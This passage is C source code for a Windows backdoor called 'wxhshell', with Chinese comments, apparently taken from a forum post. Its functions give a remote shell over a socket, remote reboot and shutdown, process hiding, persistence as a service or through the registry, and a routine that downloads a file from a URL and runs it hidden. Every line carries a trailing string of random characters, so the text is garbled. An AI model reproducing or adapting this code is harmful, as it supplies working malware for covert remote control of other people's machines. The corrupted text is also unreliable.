  // 安装 'jYKfq~_cJ  
  case 'i': { nq\~`vH|Gd  
    if(Install()) rxOv YF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HE-ErEtGB  
    else jpZ 7p ;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |<#yXSi  
    break; (d['f]S+&  
    } Wu)An  
  // 卸载 U%)*I~9  
  case 'r': { [j?<&^SW  
    if(Uninstall()) _pkmHj(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A27!I+M  
    else ^xq)Q?[{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]'<"qY  
    break; EME}G42KN  
    } |N|[E5Cn  
  // 显示 wxhshell 所在路径 - H`, ` #{  
  case 'p': { j rg B56LL  
    char svExeFile[MAX_PATH]; OpmPw4?}  
    strcpy(svExeFile,"\n\r"); OG^#e+  
      strcat(svExeFile,ExeFile); K<v:RbU|[1  
        send(wsh,svExeFile,strlen(svExeFile),0); T+>W(w i  
    break; @Py?.H   
    } juMHc$d17  
  // 重启 "5"{~3Gw^  
  case 'b': { %F(lq*8X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?>mpUH  
    if(Boot(REBOOT)) cK75Chsu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V=E5pB`Pr  
    else { j3fq}>=  
    closesocket(wsh); B %  
    ExitThread(0); WyUa3$[gO  
    } 2 ;Q|h$ n  
    break; jWK>=|)=c  
    } [ub)`-6 u  
  // 关机 58]t iP"  
  case 'd': { 0+k=gO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vkLyGb7r<  
    if(Boot(SHUTDOWN)) +< )H2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gyob q'o-  
    else {  >1q:-^  
    closesocket(wsh); ckbD/+  
    ExitThread(0); ,S1'SCwVdJ  
    } 7e Hj"_;  
    break; Fu65VLKh  
    } hmI> 7@&  
  // 获取shell %V92q0XW  
  case 's': { x) R4_ 3  
    CmdShell(wsh); )jMk ~;'r  
    closesocket(wsh); Zig3WiD&  
    ExitThread(0); +XAM2uN5_.  
    break; fwSI"cfM  
  } RA}Y$}^#'  
  // 退出 `rpmh7*WV  
  case 'x': { alyA#zao|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &&Otj-n5  
    CloseIt(wsh); B~%SB/eu  
    break; 9w-;d=(Q  
    } ! ~+mf^D  
  // 离开 O>IG7Ujl  
  case 'q': { "Jg* /F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LHs^Xo18  
    closesocket(wsh); _ !k\~4U  
    WSACleanup(); )_K:A(V>  
    exit(1); X`7O%HiX/`  
    break; J74kK#uF=  
        } R".*dC,0'B  
  } [k=LX+w@  
  } ,9W!cD+0  
#^w8Y'{?  
  // 提示信息 =!=DISPo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D;Y2yc[v  
} sbV_h;<  
  } g8]$BhRIfr  
BWzo|isv  
  return; GX N:=  
} Z )X(  
>n5Kz]]%  
// shell模块句柄 l'?(4 N  
int CmdShell(SOCKET sock) q ;e/gP2  
{ @Dd3mWKq  
STARTUPINFO si; 1+Bj` ACP  
ZeroMemory(&si,sizeof(si)); YGZa##i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *-s':('R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +`TwBN,kp-  
PROCESS_INFORMATION ProcessInfo; p9eTrFDy?  
char cmdline[]="cmd"; \ZC0bHsA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hho\e 8  
  return 0; /re0"!0y  
} FeJKXYbk<  
^;;gPhhWV  
// 自身启动模式 Fb^,%K:  
int StartFromService(void) G4"[ynlWV  
{ 4iJ4g%]  
typedef struct -9(nsaV  
{ ||#+ ^p7G  
  DWORD ExitStatus; (o!i9)  
  DWORD PebBaseAddress; K# h7{RE  
  DWORD AffinityMask; >x${I`2w  
  DWORD BasePriority; #$JY &!M  
  ULONG UniqueProcessId; <KZ J  
  ULONG InheritedFromUniqueProcessId; =@.5J'!  
}   PROCESS_BASIC_INFORMATION; ~ \ Udl  
mnM$#%q;%  
PROCNTQSIP NtQueryInformationProcess; =Ct$!uun  
2XV3f$,H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B`|H }KU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *4g:V;L  
@Cl1G  
  HANDLE             hProcess; $wqi^q*)  
  PROCESS_BASIC_INFORMATION pbi; m[A$Sp_"-h  
,sn 9&E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZV`o: Gd  
  if(NULL == hInst ) return 0; I_ na^s h*  
^/7Y3n!|3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a7e.Z9k!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nb(Od,L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y&2O)z!B  
@*JS[w$1  
  if (!NtQueryInformationProcess) return 0; 7/FF}d  
*YWk.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zl$z>z)  
  if(!hProcess) return 0; 0y=lf+xA*  
:Q>{Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x-SYfvYY  
Xl/2-'4  
  CloseHandle(hProcess); 19i [DR  
\`YV)"y" ~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g #[,4o;  
if(hProcess==NULL) return 0; 0vcFX)]yW  
Wp//SV  
HMODULE hMod; "= *   
char procName[255]; U_5\ FM  
unsigned long cbNeeded; E1>zKENN;  
&=l aZxe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UvVq#<-  
f/g-b]0  
  CloseHandle(hProcess); Cx ;n#dn*  
Q}]RB$ZS  
if(strstr(procName,"services")) return 1; // 以服务启动 0[fqF^HEN  
^vo]bq7  
  return 0; // 注册表启动 Med0O~T%  
} a`zw5  
4"Pf0PD:  
// 主模块 Ufe@G\uyI  
int StartWxhshell(LPSTR lpCmdLine) >2K:O\&  
{ >~\CiV4^  
  SOCKET wsl; 7R>Pk9J  
BOOL val=TRUE; <_-8)abK  
  int port=0; IHj9n>c)[  
  struct sockaddr_in door; r~T3Ieb  
CI@qT}Y_  
  if(wscfg.ws_autoins) Install(); ?., 2EC=+  
w(nQ:;oC  
port=atoi(lpCmdLine); Y!AQ7F  
7)y +QU]  
if(port<=0) port=wscfg.ws_port; .0]Odf:@  
1)ZdkTF@H  
  WSADATA data; r<-@.$lf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #l_hiD`;r  
/` 4B-Y4M4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k_7agW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cy#N(S[ 1  
  door.sin_family = AF_INET; <84d Vg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }G 1hB#j  
  door.sin_port = htons(port); XN~r d,MZ%  
5w@Q %'o`I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "9!CsloWhz  
closesocket(wsl); Z+C&?K  
return 1; W> rx:O+  
} U,GY']J  
|BA<> WE  
  if(listen(wsl,2) == INVALID_SOCKET) { >y iE}  
closesocket(wsl); kB ;!EuL  
return 1; of?0 y-LT%  
} X1Y+ao1)  
  Wxhshell(wsl); $Z4IPs  
  WSACleanup(); W&Kjh|[1QZ  
1TL~I-G&n  
return 0; w"BMJ+  
3(>NS?lX  
} + xRSd *  
gqan]b_  
// 以NT服务方式启动 v6+<F;G3y>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wM&WR2  
{ ?K^~(D8(  
DWORD   status = 0; 2^=.jML[  
  DWORD   specificError = 0xfffffff; $nW^Gqwj]1  
pN7 v7rs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cY[qX/0~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F9 C3i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;n=A245W\  
  serviceStatus.dwWin32ExitCode     = 0; ob"yz}  
  serviceStatus.dwServiceSpecificExitCode = 0; SDICN0X*  
  serviceStatus.dwCheckPoint       = 0; Y!lc/[8  
  serviceStatus.dwWaitHint       = 0; 5 _ a-nWQ  
j-wz7B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,5thD  
  if (hServiceStatusHandle==0) return; -XARew  
+ +G %~)S:  
status = GetLastError(); P(Ve' wOaf  
  if (status!=NO_ERROR) XpibI3:<  
{ xzTF| Z\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z^yhSbE{5  
    serviceStatus.dwCheckPoint       = 0; .?p\=C@C+  
    serviceStatus.dwWaitHint       = 0; rty&\u@}  
    serviceStatus.dwWin32ExitCode     = status; Z;nUS,?om  
    serviceStatus.dwServiceSpecificExitCode = specificError; +~1~f'4J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hXz@ (cF  
    return; 1PjqXgN5p  
  } Blnc y  
uQtwh08i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mY,t]#^m7  
  serviceStatus.dwCheckPoint       = 0; #~`]eM5`J  
  serviceStatus.dwWaitHint       = 0; Q!"W)tD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,7|Wf %X  
} I 6Mr[#*  
UIi`bbJ  
// 处理NT服务事件,比如:启动、停止 >PMLjXK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) * IBCThj  
{ k>q}: J9V  
switch(fdwControl)  F5FzT^  
{ qI#ow_lL#  
case SERVICE_CONTROL_STOP: uV+.(sjH  
  serviceStatus.dwWin32ExitCode = 0; %t<ba[9F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 52d8EGC  
  serviceStatus.dwCheckPoint   = 0; ZMI vzQYI  
  serviceStatus.dwWaitHint     = 0; N"rZK/@}  
  { %H'*7u2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q XV8][  
  } qb1[-H  
  return; u#`FkuE\}  
case SERVICE_CONTROL_PAUSE: ;f)o_:(JJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E5F0C]hq  
  break; iHL`r1I!  
case SERVICE_CONTROL_CONTINUE: t`y*oRy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [W2GLd]  
  break; cJ!C=J  
case SERVICE_CONTROL_INTERROGATE: CxRh MhvP  
  break; Y;6%pm$  
}; @%sr#YqY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1I -LGe[Q  
} +F3`?6UXz  
hCKx%&[^7  
// 标准应用程序主函数 JOm6Zc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J=C63YB  
{ R x.]m0  
{f<\`  
// 获取操作系统版本 K JX@?1"  
OsIsNt=GetOsVer(); e<[0H 8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OGqsQ  
OlF5~VAbfb  
  // 从命令行安装 v9R"dc]0h  
  if(strpbrk(lpCmdLine,"iI")) Install(); F_&bE@k  
0[T>UEI?  
  // 下载执行文件 WbP*kV{  
if(wscfg.ws_downexe) { nfbqJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &9F(uk=X  
  WinExec(wscfg.ws_filenam,SW_HIDE); T^~9'KDd  
} :[ AP^  
e=%6\&q  
if(!OsIsNt) { `[zd  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]~A<Q{  
HideProc(); ZT'Sw%U:  
StartWxhshell(lpCmdLine); X0"f>.Lg  
} +|=5zWI /  
else 7yK1Q_XY>  
  if(StartFromService()) 8${Yu  
  // 以服务方式启动 `Ufv,_n  
  StartServiceCtrlDispatcher(DispatchTable); Vdz(\-}ao  
else GxR, 3  
  // 普通方式启动 qTl/bFD  
  StartWxhshell(lpCmdLine); U\\nSU  
,@'M'S  
return 0; xFY< ns  
}
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只看该作者 1 发表于: 2006-10-10
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